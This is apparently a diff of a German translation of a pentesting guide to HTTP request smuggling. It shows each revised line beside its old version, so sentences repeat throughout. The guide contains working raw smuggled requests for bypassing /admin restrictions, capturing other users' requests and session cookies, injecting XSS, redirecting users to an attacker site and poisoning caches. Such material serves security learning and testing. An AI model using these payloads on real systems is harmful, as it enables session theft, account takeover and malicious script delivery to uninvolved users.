|
|||
|
||||
**Content-Length**
|
||||
|
||||
> Der Content-Length-Entity-Header gibt die Größe des Entity-Bodys in Bytes an, die an den Empfänger gesendet werden.
|
||||
> Der Content-Length-Entitätsheader gibt die Größe des Entitätskörpers in Bytes an, die an den Empfänger gesendet werden.
|
||||
|
||||
**Transfer-Encoding: chunked**
|
||||
|
||||
> Der Transfer-Encoding-Header gibt die Form der Kodierung an, die verwendet wird, um den Payload-Body sicher an den Benutzer zu übertragen.\
|
||||
> Der Transfer-Encoding-Header gibt die Form der Kodierung an, die verwendet wird, um den Payload-Körper sicher an den Benutzer zu übertragen.\
|
||||
> Chunked bedeutet, dass große Daten in einer Reihe von Chunks gesendet werden.
|
||||
|
||||
### Realität
|
||||
|
||||
Das **Front-End** (ein Load-Balancer / Reverse Proxy) **verarbeitet** den _**Content-Length**_ oder den _**Transfer-Encoding**_ Header und der **Back-End**-Server **verarbeitet den anderen**, was eine **Desynchronisation** zwischen den 2 Systemen verursacht.\
|
||||
Dies könnte sehr kritisch sein, da **ein Angreifer in der Lage sein wird, eine Anfrage** an den Reverse-Proxy zu senden, die vom **Back-End**-Server **als 2 verschiedene Anfragen** **interpretiert** wird. Die **Gefahr** dieser Technik liegt darin, dass der **Back-End**-Server die **2. injizierte Anfrage** so **interpretieren wird**, als ob sie **vom nächsten Client** kam und die **echte Anfrage** dieses Clients **Teil** der **injizierten Anfrage** sein wird.
|
||||
Das **Front-End** (ein Lastenausgleich / Reverse Proxy) **verarbeitet** den _**Content-Length**_ oder den _**Transfer-Encoding**_ Header und der **Back-End**-Server **verarbeitet den anderen**, was eine **Desynchronisation** zwischen den 2 Systemen verursacht.\
|
||||
Dies könnte sehr kritisch sein, da **ein Angreifer in der Lage sein wird, eine Anfrage** an den Reverse-Proxy zu senden, die vom **Back-End**-Server **als 2 verschiedene Anfragen** **interpretiert** wird. Die **Gefahr** dieser Technik liegt darin, dass der **Back-End**-Server die **2. injizierte Anfrage** so **interpretieren wird, als ob sie vom nächsten Client** stammt und die **echte Anfrage** dieses Clients **Teil** der **injizierten Anfrage** sein wird.
|
||||
|
||||
### Besonderheiten
|
||||
|
||||
Denken Sie daran, dass in HTTP **ein Zeilenumbruchzeichen aus 2 Bytes besteht:**
|
||||
Denken Sie daran, dass in HTTP **ein neuer Zeilenzeichen aus 2 Bytes besteht:**
|
||||
|
||||
* **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Bodies** der Anfrage anzugeben. Der Body wird erwartet, dass er mit dem letzten Zeichen endet, **ein Zeilenumbruch ist am Ende der Anfrage nicht erforderlich**.
|
||||
* **Transfer-Encoding:** Dieser Header verwendet im **Body** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **Zeilenumbruch** **enden**, aber dieser Zeilenumbruch **wird nicht** vom Längenindikator **gezählt**. Diese Übertragungsmethode muss mit einem **Chunk der Größe 0, gefolgt von 2 Zeilenumbrüchen** enden: `0`
|
||||
* **Content-Length**: Dieser Header verwendet eine **dezimale Zahl**, um die **Anzahl** der **Bytes** des **Körpers** der Anfrage anzugeben. Der Körper wird erwartet, dass er mit dem letzten Zeichen endet, **ein neuer Zeilenzeichen ist am Ende der Anfrage nicht erforderlich**.
|
||||
* **Transfer-Encoding:** Dieser Header verwendet im **Körper** eine **hexadezimale Zahl**, um die **Anzahl** der **Bytes** des **nächsten Chunks** anzugeben. Der **Chunk** muss mit einem **neuen Zeilenzeichen** **enden**, aber dieses neue Zeilenzeichen **wird nicht** vom Längenindikator gezählt. Diese Übertragungsmethode muss mit einem **Chunk der Größe 0, gefolgt von 2 neuen Zeilen** enden: `0`
|
||||
* **Connection**: Basierend auf meiner Erfahrung wird empfohlen, **`Connection: keep-alive`** bei der ersten Anfrage des Request Smuggling zu verwenden.
|
||||
|
||||
## Grundlegende Beispiele
|
||||
|
||||
{% hint style="success" %}
|
||||
Wenn Sie versuchen, dies mit Burp Suite auszunutzen, **deaktivieren Sie `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da einige Gadgets Zeilenumbrüche, Wagenrückläufe und fehlerhafte Content-Lengths missbrauchen.
|
||||
Wenn Sie versuchen, dies mit Burp Suite auszunutzen, **deaktivieren Sie `Update Content-Length` und `Normalize HTTP/1 line endings`** im Repeater, da einige Gadgets neue Zeilen, Wagenrückläufe und fehlerhafte Content-Lengths ausnutzen.
|
||||
{% endhint %}
|
||||
|
||||
HTTP-Request-Smuggling-Angriffe werden durch das Senden von mehrdeutigen Anfragen erstellt, die Diskrepanzen in der Art und Weise ausnutzen, wie Front-End- und Back-End-Server die `Content-Length` (CL) und `Transfer-Encoding` (TE) Header interpretieren. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ stellt eine einzigartige Kombination dar, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Schwachstellen entstehen, wenn die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führt.
|
||||
HTTP-Request-Smuggling-Angriffe werden erstellt, indem mehrdeutige Anfragen gesendet werden, die Diskrepanzen in der Art und Weise ausnutzen, wie Front-End- und Back-End-Server die `Content-Length` (CL) und `Transfer-Encoding` (TE) Header interpretieren. Diese Angriffe können in verschiedenen Formen auftreten, hauptsächlich als **CL.TE**, **TE.CL** und **TE.TE**. Jeder Typ stellt eine einzigartige Kombination dar, wie die Front-End- und Back-End-Server diese Header priorisieren. Die Sicherheitsanfälligkeiten entstehen, wenn die Server dieselbe Anfrage auf unterschiedliche Weise verarbeiten, was zu unerwarteten und potenziell bösartigen Ergebnissen führt.
|
||||
|
||||
### Grundlegende Beispiele für Schwachstellentypen
|
||||
### Grundlegende Beispiele für Sicherheitsanfälligkeiten
|
||||
|
||||
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
|
||||
|
||||
|
@ -64,14 +72,14 @@ HTTP-Request-Smuggling-Angriffe werden durch das Senden von mehrdeutigen Anfrage
|
|||
Zur vorherigen Tabelle sollten Sie die TE.0-Technik hinzufügen, wie die CL.0-Technik, aber unter Verwendung von Transfer-Encoding.
|
||||
{% endhint %}
|
||||
|
||||
#### CL.TE-Schwachstelle (Content-Length wird vom Front-End verwendet, Transfer-Encoding wird vom Back-End verwendet)
|
||||
#### CL.TE Sicherheitsanfälligkeit (Content-Length wird vom Front-End verwendet, Transfer-Encoding wird vom Back-End verwendet)
|
||||
|
||||
* **Front-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
|
||||
* **Back-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header.
|
||||
* **Front-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length` Header.
|
||||
* **Back-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding` Header.
|
||||
* **Angriffsszenario:**
|
||||
* Der Angreifer sendet eine Anfrage, bei der der Wert des `Content-Length`-Headers nicht mit der tatsächlichen Inhaltslänge übereinstimmt.
|
||||
* Der Front-End-Server leitet die gesamte Anfrage an das Back-End weiter, basierend auf dem `Content-Length`-Wert.
|
||||
* Der Back-End-Server verarbeitet die Anfrage als chunked aufgrund des `Transfer-Encoding: chunked`-Headers und interpretiert die verbleibenden Daten als separate, nachfolgende Anfrage.
|
||||
* Der Angreifer sendet eine Anfrage, bei der der Wert des `Content-Length` Headers nicht mit der tatsächlichen Inhaltslänge übereinstimmt.
|
||||
* Der Front-End-Server leitet die gesamte Anfrage an das Back-End weiter, basierend auf dem `Content-Length` Wert.
|
||||
* Der Back-End-Server verarbeitet die Anfrage als chunked aufgrund des `Transfer-Encoding: chunked` Headers und interpretiert die verbleibenden Daten als separate, nachfolgende Anfrage.
|
||||
* **Beispiel:**
|
||||
|
||||
```
|
||||
|
@ -87,10 +95,10 @@ GET /404 HTTP/1.1
|
|||
Foo: x
|
||||
```
|
||||
|
||||
#### TE.CL-Schwachstelle (Transfer-Encoding wird vom Front-End verwendet, Content-Length wird vom Back-End verwendet)
|
||||
#### TE.CL Sicherheitsanfälligkeit (Transfer-Encoding wird vom Front-End verwendet, Content-Length wird vom Back-End verwendet)
|
||||
|
||||
* **Front-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding`-Header.
|
||||
* **Back-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length`-Header.
|
||||
* **Front-End (TE):** Verarbeitet die Anfrage basierend auf dem `Transfer-Encoding` Header.
|
||||
* **Back-End (CL):** Verarbeitet die Anfrage basierend auf dem `Content-Length` Header.
|
||||
* **Angriffsszenario:**
|
||||
* Der Angreifer sendet eine chunked Anfrage, bei der die Chunk-Größe (`7b`) und die tatsächliche Inhaltslänge (`Content-Length: 4`) nicht übereinstimmen.
|
||||
* Der Front-End-Server, der `Transfer-Encoding` respektiert, leitet die gesamte Anfrage an das Back-End weiter.
|
||||
|
@ -115,12 +123,12 @@ x=
|
|||
|
||||
```
|
||||
|
||||
#### TE.TE-Schwachstelle (Transfer-Encoding wird von beiden verwendet, mit Obfuskation)
|
||||
#### TE.TE Sicherheitsanfälligkeit (Transfer-Encoding wird von beiden verwendet, mit Obfuskation)
|
||||
|
||||
* **Server:** Beide unterstützen `Transfer-Encoding`, aber einer kann durch Obfuskation dazu gebracht werden, es zu ignorieren.
|
||||
* **Angriffsszenario:**
|
||||
* Der Angreifer sendet eine Anfrage mit obfuskierten `Transfer-Encoding`-Headern.
|
||||
* Je nachdem, welcher Server (Front-End oder Back-End) die Obfuskation nicht erkennt, kann eine CL.TE- oder TE.CL-Schwachstelle ausgenutzt werden.
|
||||
* Der Angreifer sendet eine Anfrage mit obfuskierten `Transfer-Encoding` Headern.
|
||||
* Je nachdem, welcher Server (Front-End oder Back-End) die Obfuskation nicht erkennt, kann eine CL.TE oder TE.CL Sicherheitsanfälligkeit ausgenutzt werden.
|
||||
* Der nicht verarbeitete Teil der Anfrage, wie er von einem der Server gesehen wird, wird Teil einer nachfolgenden Anfrage, was zu Smuggling führt.
|
||||
* **Beispiel:**
|
||||
|
||||
|
@ -141,10 +149,10 @@ Transfer-Encoding
|
|||
: chunked
|
||||
```
|
||||
|
||||
#### **CL.CL-Szenario (Content-Length wird sowohl vom Front-End als auch vom Back-End verwendet)**
|
||||
#### **CL.CL Szenario (Content-Length wird sowohl vom Front-End als auch vom Back-End verwendet)**
|
||||
|
||||
* Beide Server verarbeiten die Anfrage ausschließlich basierend auf dem `Content-Length`-Header.
|
||||
* Dieses Szenario führt typischerweise nicht zu Smuggling, da es eine Übereinstimmung in der Art und Weise gibt, wie beide Server die Anfragenlänge interpretieren.
|
||||
* Beide Server verarbeiten die Anfrage ausschließlich basierend auf dem `Content-Length` Header.
|
||||
* Dieses Szenario führt typischerweise nicht zu Smuggling, da es eine Übereinstimmung in der Art und Weise gibt, wie beide Server die Anfragelänge interpretieren.
|
||||
* **Beispiel:**
|
||||
|
||||
```
|
||||
|
@ -156,9 +164,9 @@ Connection: keep-alive
|
|||
Normale Anfrage
|
||||
```
|
||||
|
||||
#### **CL.0-Szenario**
|
||||
#### **CL.0 Szenario**
|
||||
|
||||
* Bezieht sich auf Szenarien, in denen der `Content-Length`-Header vorhanden ist und einen Wert ungleich null hat, was darauf hinweist, dass der Anfrage-Body Inhalt hat. Das Back-End ignoriert den `Content-Length`-Header (der als 0 behandelt wird), aber das Front-End analysiert ihn.
|
||||
* Bezieht sich auf Szenarien, in denen der `Content-Length` Header vorhanden ist und einen Wert ungleich null hat, was darauf hinweist, dass der Anfragekörper Inhalt hat. Das Back-End ignoriert den `Content-Length` Header (der als 0 behandelt wird), aber das Front-End analysiert ihn.
|
||||
* Es ist entscheidend für das Verständnis und die Erstellung von Smuggling-Angriffen, da es beeinflusst, wie Server das Ende einer Anfrage bestimmen.
|
||||
* **Beispiel:**
|
||||
|
||||
|
@ -168,14 +176,14 @@ Host: vulnerable-website.com
|
|||
Content-Length: 16
|
||||
Connection: keep-alive
|
||||
|
||||
Nicht leerer Body
|
||||
Nicht leerer Körper
|
||||
```
|
||||
|
||||
#### TE.0-Szenario
|
||||
#### TE.0 Szenario
|
||||
|
||||
* Wie das vorherige, aber unter Verwendung von TE
|
||||
* Technik [hier gemeldet](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
* **Beispiel:**
|
||||
* **Beispiel**:
|
||||
```
|
||||
OPTIONS / HTTP/1.1
|
||||
Host: {HOST}
|
||||
|
@ -272,7 +280,7 @@ X
|
|||
|
||||
### Testen von HTTP Request Smuggling-Schwachstellen
|
||||
|
||||
Nachdem die Wirksamkeit von Timing-Techniken bestätigt wurde, ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, Ihre Anfragen zu vergiften, zum Beispiel indem Sie eine Anfrage an `/` senden, die eine 404-Antwort zurückgibt. Die zuvor besprochenen `CL.TE`- und `TE.CL`-Beispiele in [Grundlegende Beispiele](./#basic-examples) zeigen, wie man eine Client-Anfrage vergiftet, um eine 404-Antwort zu erhalten, obwohl der Client versucht, auf eine andere Ressource zuzugreifen.
|
||||
Nachdem die Wirksamkeit von Timing-Techniken bestätigt wurde, ist es entscheidend zu überprüfen, ob Client-Anfragen manipuliert werden können. Eine einfache Methode besteht darin, zu versuchen, Ihre Anfragen zu vergiften, zum Beispiel eine Anfrage an `/` zu senden, die eine 404-Antwort zurückgibt. Die zuvor besprochenen `CL.TE`- und `TE.CL`-Beispiele in [Grundlegende Beispiele](./#basic-examples) zeigen, wie man eine Client-Anfrage vergiftet, um eine 404-Antwort zu erhalten, obwohl der Client versucht, auf eine andere Ressource zuzugreifen.
|
||||
|
||||
**Wichtige Überlegungen**
|
||||
|
||||
|
@ -280,19 +288,19 @@ Beim Testen auf Request Smuggling-Schwachstellen durch Störung anderer Anfragen
|
|||
|
||||
* **Getrennte Netzwerkverbindungen:** Die "Angriffs"- und "normalen" Anfragen sollten über separate Netzwerkverbindungen gesendet werden. Die Verwendung derselben Verbindung für beide validiert nicht das Vorhandensein der Schwachstelle.
|
||||
* **Konsistente URL und Parameter:** Versuchen Sie, identische URLs und Parameternamen für beide Anfragen zu verwenden. Moderne Anwendungen leiten Anfragen oft an spezifische Back-End-Server basierend auf URL und Parametern weiter. Das Abgleichen dieser erhöht die Wahrscheinlichkeit, dass beide Anfragen vom selben Server verarbeitet werden, was eine Voraussetzung für einen erfolgreichen Angriff ist.
|
||||
* **Timing- und Rennbedingungen:** Die "normale" Anfrage, die dazu dient, Störungen durch die "Angriffs"-Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anwendungsanfragen. Daher sollte die "normale" Anfrage sofort nach der "Angriffs"-Anfrage gesendet werden. Beschäftigte Anwendungen können mehrere Versuche erfordern, um eine schlüssige Bestätigung der Schwachstelle zu erhalten.
|
||||
* **Timing- und Rennbedingungen:** Die "normale" Anfrage, die dazu dient, Störungen durch die "Angriffs"-Anfrage zu erkennen, konkurriert mit anderen gleichzeitigen Anwendungsanfragen. Daher sollte die "normale" Anfrage sofort nach der "Angriffs"-Anfrage gesendet werden. Bei stark frequentierten Anwendungen sind möglicherweise mehrere Versuche erforderlich, um eine schlüssige Bestätigung der Schwachstelle zu erhalten.
|
||||
* **Herausforderungen beim Lastenausgleich:** Front-End-Server, die als Lastenausgleicher fungieren, können Anfragen auf verschiedene Back-End-Systeme verteilen. Wenn die "Angriffs"- und "normalen" Anfragen auf unterschiedlichen Systemen landen, wird der Angriff nicht erfolgreich sein. Dieser Aspekt des Lastenausgleichs kann mehrere Versuche erfordern, um eine Schwachstelle zu bestätigen.
|
||||
* **Unbeabsichtigte Auswirkungen auf Benutzer:** Wenn Ihr Angriff versehentlich die Anfrage eines anderen Benutzers beeinflusst (nicht die "normale" Anfrage, die Sie zum Erkennen gesendet haben), deutet dies darauf hin, dass Ihr Angriff einen anderen Anwendungsbenutzer beeinflusst hat. Kontinuierliches Testen könnte andere Benutzer stören, was einen vorsichtigen Ansatz erfordert.
|
||||
* **Unbeabsichtigte Auswirkungen auf Benutzer:** Wenn Ihr Angriff versehentlich die Anfrage eines anderen Benutzers beeinflusst (nicht die "normale" Anfrage, die Sie zur Erkennung gesendet haben), deutet dies darauf hin, dass Ihr Angriff einen anderen Anwendungsbenutzer beeinflusst hat. Kontinuierliches Testen könnte andere Benutzer stören, was einen vorsichtigen Ansatz erfordert.
|
||||
|
||||
## Missbrauch von HTTP Request Smuggling
|
||||
|
||||
### Umgehung der Front-End-Sicherheit durch HTTP Request Smuggling
|
||||
### Umgehung der Front-End-Sicherheit über HTTP Request Smuggling
|
||||
|
||||
Manchmal setzen Front-End-Proxys Sicherheitsmaßnahmen durch, die eingehende Anfragen überprüfen. Diese Maßnahmen können jedoch umgangen werden, indem HTTP Request Smuggling ausgenutzt wird, was unbefugten Zugriff auf eingeschränkte Endpunkte ermöglicht. Zum Beispiel könnte der Zugriff auf `/admin` extern verboten sein, wobei der Front-End-Proxy solche Versuche aktiv blockiert. Dennoch könnte dieser Proxy es versäumen, eingebettete Anfragen innerhalb einer geschmuggelten HTTP-Anfrage zu überprüfen, was eine Lücke zum Umgehen dieser Einschränkungen lässt.
|
||||
|
||||
Betrachten Sie die folgenden Beispiele, die veranschaulichen, wie HTTP Request Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen, insbesondere den `/admin`-Pfad, der typischerweise durch den Front-End-Proxy geschützt ist:
|
||||
Betrachten Sie die folgenden Beispiele, die veranschaulichen, wie HTTP Request Smuggling verwendet werden kann, um Front-End-Sicherheitskontrollen zu umgehen, insbesondere den `/admin`-Pfad, der typischerweise vom Front-End-Proxy geschützt wird:
|
||||
|
||||
**CL.TE Beispiel**
|
||||
**CL.TE-Beispiel**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
|
@ -331,7 +339,7 @@ Im Gegensatz dazu verwendet der TE.CL-Angriff die anfängliche `POST`-Anfrage mi
|
|||
|
||||
### Offenlegung der Front-End-Anforderungsumformung <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Anwendungen verwenden häufig einen **Front-End-Server**, um eingehende Anfragen zu ändern, bevor sie an den Back-End-Server weitergeleitet werden. Eine typische Änderung besteht darin, Header hinzuzufügen, wie z.B. `X-Forwarded-For: <IP des Clients>`, um die IP des Clients an das Back-End weiterzuleiten. Das Verständnis dieser Änderungen kann entscheidend sein, da es Möglichkeiten aufdecken könnte, um **Schutzmaßnahmen zu umgehen** oder **verborgene Informationen oder Endpunkte aufzudecken**.
|
||||
Anwendungen verwenden häufig einen **Front-End-Server**, um eingehende Anfragen zu ändern, bevor sie an den Back-End-Server weitergeleitet werden. Eine typische Änderung besteht darin, Header hinzuzufügen, wie z.B. `X-Forwarded-For: <IP des Clients>`, um die IP des Clients an das Back-End weiterzuleiten. Das Verständnis dieser Änderungen kann entscheidend sein, da es Möglichkeiten offenbaren könnte, **Schutzmaßnahmen zu umgehen** oder **verborgene Informationen oder Endpunkte aufzudecken**.
|
||||
|
||||
Um zu untersuchen, wie ein Proxy eine Anfrage ändert, finden Sie einen POST-Parameter, den das Back-End in der Antwort zurückgibt. Erstellen Sie dann eine Anfrage, bei der dieser Parameter zuletzt verwendet wird, ähnlich wie im Folgenden:
|
||||
```
|
||||
|
@ -356,11 +364,11 @@ Es ist wichtig, den `Content-Length`-Header der geschachtelten Anfrage mit der t
|
|||
|
||||
Diese Technik ist auch im Kontext einer TE.CL-Schwachstelle anwendbar, aber die Anfrage sollte mit `search=\r\n0` enden. Unabhängig von den Zeilenumbruchzeichen werden die Werte an den Suchparameter angehängt.
|
||||
|
||||
Diese Methode dient hauptsächlich dazu, die von dem Front-End-Proxy vorgenommenen Anfrageänderungen zu verstehen, indem sie im Wesentlichen eine selbstgesteuerte Untersuchung durchführt.
|
||||
Diese Methode dient hauptsächlich dazu, die Anfrageänderungen zu verstehen, die vom Front-End-Proxy vorgenommen werden, und führt im Wesentlichen eine selbstgesteuerte Untersuchung durch.
|
||||
|
||||
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem man eine spezifische Anfrage als Wert eines Parameters während einer POST-Operation anhängt. So kann dies erreicht werden:
|
||||
Es ist möglich, die Anfragen des nächsten Benutzers zu erfassen, indem eine spezifische Anfrage als Wert eines Parameters während einer POST-Operation angehängt wird. So kann dies erreicht werden:
|
||||
|
||||
Indem Sie die folgende Anfrage als Wert eines Parameters anhängen, können Sie die Anfrage des nachfolgenden Clients speichern:
|
||||
```
|
||||
|
@ -382,7 +390,7 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
In diesem Szenario ist der **Kommentarparameter** dazu gedacht, die Inhalte im Kommentarbereich eines Beitrags auf einer öffentlich zugänglichen Seite zu speichern. Folglich werden die Inhalte der nachfolgenden Anfrage als Kommentar angezeigt.
|
||||
In diesem Szenario ist der **comment-Parameter** dazu gedacht, die Inhalte im Kommentarbereich eines Beitrags auf einer öffentlich zugänglichen Seite zu speichern. Folglich werden die Inhalte der nachfolgenden Anfrage als Kommentar angezeigt.
|
||||
|
||||
Diese Technik hat jedoch Einschränkungen. Im Allgemeinen erfasst sie Daten nur bis zum Parameter-Trennzeichen, das in der geschmuggelten Anfrage verwendet wird. Bei URL-kodierten Formularübertragungen ist dieses Trennzeichen das `&`-Zeichen. Das bedeutet, dass der erfasste Inhalt aus der Anfrage des Opfers beim ersten `&` stoppt, das möglicherweise sogar Teil der Abfragezeichenfolge ist.
|
||||
|
||||
|
@ -419,7 +427,7 @@ A=
|
|||
Dieses Payload ist so strukturiert, dass es die Schwachstelle ausnutzt, indem es:
|
||||
|
||||
1. Eine `POST`-Anfrage initiiert, die scheinbar typisch ist, mit einem `Transfer-Encoding: chunked`-Header, um den Beginn des Smuggelns anzuzeigen.
|
||||
2. Darauf folgt eine `0`, die das Ende des chunked Nachrichtentextes markiert.
|
||||
2. Darauf folgt eine `0`, die das Ende des chunked Nachrichtentexts markiert.
|
||||
3. Dann wird eine geschmuggelte `GET`-Anfrage eingeführt, bei der der `User-Agent`-Header mit einem Skript, `<script>alert(1)</script>`, injiziert wird, was die XSS auslöst, wenn der Server diese nachfolgende Anfrage verarbeitet.
|
||||
|
||||
Durch die Manipulation des `User-Agent` durch Smuggling umgeht das Payload die normalen Anfragebeschränkungen und nutzt somit die Reflected XSS-Schwachstelle auf eine nicht standardmäßige, aber effektive Weise aus.
|
||||
|
@ -446,7 +454,7 @@ Ergebnisse in:
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
Obwohl scheinbar harmlos, kann dieses Verhalten mithilfe von HTTP-Request-Smuggling manipuliert werden, um Benutzer auf eine externe Seite umzuleiten. Zum Beispiel:
|
||||
Obwohl es scheinbar harmlos ist, kann dieses Verhalten mithilfe von HTTP-Request-Smuggling manipuliert werden, um Benutzer auf eine externe Seite umzuleiten. Zum Beispiel:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -474,15 +482,15 @@ Location: https://attacker-website.com/home/
|
|||
```
|
||||
In diesem Szenario wird die Anfrage eines Benutzers nach einer JavaScript-Datei hijacked. Der Angreifer kann potenziell den Benutzer kompromittieren, indem er bösartigen JavaScript als Antwort bereitstellt.
|
||||
|
||||
### Ausnutzen von Web-Cache-Poisoning über HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Ausnutzen von Web-Cache-Vergiftung über HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web-Cache-Poisoning kann ausgeführt werden, wenn irgendeine Komponente der **Front-End-Infrastruktur Inhalte cached**, typischerweise um die Leistung zu verbessern. Durch Manipulation der Serverantwort ist es möglich, den **Cache zu vergiften**.
|
||||
Web-Cache-Vergiftung kann ausgeführt werden, wenn irgendeine Komponente der **Front-End-Infrastruktur Inhalte cached**, typischerweise um die Leistung zu verbessern. Durch Manipulation der Serverantwort ist es möglich, den **Cache zu vergiften**.
|
||||
|
||||
Früher haben wir beobachtet, wie Serverantworten geändert werden konnten, um einen 404-Fehler zurückzugeben (siehe [Grundlegende Beispiele](./#basic-examples)). Ähnlich ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` zu liefern. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Benutzer unzugänglich wird, was potenziell zu einem Denial of Service (DoS) führen kann.
|
||||
Zuvor haben wir beobachtet, wie Serverantworten geändert werden konnten, um einen 404-Fehler zurückzugeben (siehe [Grundlegende Beispiele](./#basic-examples)). Ähnlich ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` zu liefern. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Benutzer unzugänglich wird, was potenziell zu einem Denial of Service (DoS) führen kann.
|
||||
|
||||
Diese Technik wird besonders mächtig, wenn eine **Open Redirect-Schwachstelle** entdeckt wird oder wenn es eine **Vor-Ort-Umleitung zu einer offenen Umleitung** gibt. Solche Schwachstellen können ausgenutzt werden, um den zwischengespeicherten Inhalt von `/static/include.js` durch ein Skript unter der Kontrolle des Angreifers zu ersetzen, was im Wesentlichen einen weitreichenden Cross-Site Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die das aktualisierte `/static/include.js` anfordern.
|
||||
|
||||
Unten ist eine Illustration des Ausnutzens von **Cache-Poisoning kombiniert mit einer Vor-Ort-Umleitung zu einer offenen Umleitung**. Das Ziel ist es, den Cache-Inhalt von `/static/include.js` zu ändern, um JavaScript-Code bereitzustellen, der vom Angreifer kontrolliert wird:
|
||||
Nachfolgend ist eine Illustration des Ausnutzens von **Cache-Vergiftung kombiniert mit einer Vor-Ort-Umleitung zu einer offenen Umleitung**. Das Ziel ist es, den Cache-Inhalt von `/static/include.js` zu ändern, um JavaScript-Code bereitzustellen, der vom Angreifer kontrolliert wird:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
|
@ -553,7 +561,7 @@ Diese Antwort wird an die nächste Anfrage über die Verbindung gesendet, sodass
|
|||
|
||||
Es wird empfohlen, [**diesen Beitrag**](https://portswigger.net/research/trace-desync-attack) zu verfolgen, um eine weitere Möglichkeit zum Missbrauch der TRACE-Methode zu sehen. Wie kommentiert, ist es durch das Schmuggeln einer HEAD-Anfrage und einer TRACE-Anfrage möglich, **einige reflektierte Daten** in der Antwort auf die HEAD-Anfrage zu **steuern**. Die Länge des Körpers der HEAD-Anfrage wird im Wesentlichen im Content-Length-Header angegeben und wird durch die Antwort auf die TRACE-Anfrage gebildet.
|
||||
|
||||
Daher wäre die neue Idee, dass es, wenn man diesen Content-Length und die in der TRACE-Antwort gegebenen Daten kennt, möglich ist, die TRACE-Antwort so zu gestalten, dass sie eine gültige HTTP-Antwort nach dem letzten Byte des Content-Length enthält, was es einem Angreifer ermöglicht, die Anfrage zur nächsten Antwort vollständig zu steuern (was verwendet werden könnte, um eine Cache-Vergiftung durchzuführen).
|
||||
Daher wäre die neue Idee, dass, wenn man diesen Content-Length und die in der TRACE-Antwort gegebenen Daten kennt, es möglich ist, die TRACE-Antwort so zu gestalten, dass sie eine gültige HTTP-Antwort nach dem letzten Byte des Content-Length enthält, was es einem Angreifer ermöglicht, die Anfrage zur nächsten Antwort vollständig zu steuern (was verwendet werden könnte, um eine Cache-Vergiftung durchzuführen).
|
||||
|
||||
Beispiel:
|
||||
```
|
||||
|
@ -595,15 +603,15 @@ Content-Length: 50
|
|||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### Waffentechniken für HTTP Request Smuggling mit HTTP Response Desynchronisation
|
||||
### Waffenerstellung von HTTP Request Smuggling mit HTTP Response Desynchronisation
|
||||
|
||||
Haben Sie eine HTTP Request Smuggling-Schwachstelle gefunden und wissen nicht, wie Sie sie ausnutzen können? Versuchen Sie diese anderen Methoden der Ausnutzung:
|
||||
Hast du eine HTTP Request Smuggling-Schwachstelle gefunden und weißt nicht, wie du sie ausnutzen kannst? Probiere diese anderen Methoden der Ausnutzung:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Weitere HTTP Request Smuggling Techniken
|
||||
### Andere HTTP Request Smuggling Techniken
|
||||
|
||||
* Browser HTTP Request Smuggling (Client-Seite)
|
||||
|
||||
|
@ -611,13 +619,13 @@ Haben Sie eine HTTP Request Smuggling-Schwachstelle gefunden und wissen nicht, w
|
|||
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
